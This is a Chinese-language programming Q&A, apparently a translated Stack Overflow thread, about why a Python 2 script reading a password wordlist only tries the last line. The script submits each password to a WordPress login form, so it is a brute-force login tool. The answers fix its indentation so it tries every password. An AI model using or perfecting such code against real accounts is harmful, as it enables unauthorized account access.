python读取最后一行!

-2 投票
2 回答
1033 浏览
提问于 2025-04-16 02:30

我的问题出在这段代码上:

try:
    PassL = open(sys.argv[3], "r").readlines()
    print "[+] Passwords:",len(PassL),"\n"
except(IOError): 
    print "[-] Error: Check your wordlist path\n"
    sys.exit(1)
    for word in PassL:
        word = word.replace("\r","").replace("\n","")
    login_form_seq = [
    ('log', sys.argv[2]),
    ('pwd', word),
    ('rememberme', 'forever'),
    ('wp-submit', 'Login >>'),
    ('redirect_to', 'wp-admin/')]
    try:
         login_form_data = urllib.urlencode(login_form_seq)
         opener = urllib2.build_opener()
    except:
         print'Unknown ERROR'
    try:
             OP = opener.open(host, login_form_data).read()
    except(urllib2.URLError), msg:
         print msg
         OP = ""
    else:
         'wrong?'
    if re.search("WordPress requires Cookies",OP):
            print "[-] Failed: WordPress has cookies enabled\n"
            sys.exit(1)
        #Change this response if different. (language)
    if re.search("<strong>ERROR</strong>",OP):
         print "[-] Login Failed :",word
    else:
             print "\n[!] Login Successfull:",'[#]The Information:',sys.argv[2],':',word

问题是,我提供了 sys.argv[2],这样可以获取到 txt 文件。比如:

www.py wow.txt

然后在我的 Python 脚本中,我试图用 wow.txt 中的密码登录一个网站。问题是,我在 wow.txt 里放了 15 个密码,而我的 www.py 脚本只读取了最后一行的密码!

这个脚本的目的是因为我忘记了很多 Wordpress 账户(大约六个账户),其实我还在考虑每个账户尝试 25 个密码。所以请帮我简化这个过程——别说“去手动试试”,就给我代码或者正确的方法吧。

2 个回答

2

你的 for word in PassL 循环现在只有一行代码,但看起来你可能想让后面的代码也跟着这个循环一起执行。

目前,这个循环会遍历列表,把变量 word 替换成新的值(根据替换命令)。当循环结束时,word 里存的就是列表中的最后一个值(没有换行符)。

如果你把后面代码的缩进加大,那么这些代码就会在文件的每一行上都执行一次。

3

你写的大部分代码根本不会执行,因为它在一个 except 块里,并且无条件地跟在 sys.exit 后面——所以即使发生了异常,代码也不会执行到那里(当然,如果没有异常,整个 except 块根本就不会被进入)。再看看你发的代码……:

except(IOError): 
    print "[-] Error: Check your wordlist path\n"
    sys.exit(1)
    for word in PassL:
        word = word.replace("\r","").replace("\n","")
    login_form_seq = [  (etc etc)

很明显,你的缩进完全错了。我猜你想要的是:

except(IOError): 
    print "[-] Error: Check your wordlist path\n"
    sys.exit(1)
for word in PassL:
    word = word.replace("\r","").replace("\n","")
    login_form_seq = [  (etc etc)

也就是说,只需要把两行的缩进去掉(这样其他的部分仍然是循环的一部分)。

我真不知道你是怎么把代码缩进搞得这么糟糕的。也许你在用制表符(而不是每次缩进都用4个空格),而你的编辑器或IDE的设置让你对缩进的实际情况产生了误解。

撰写回答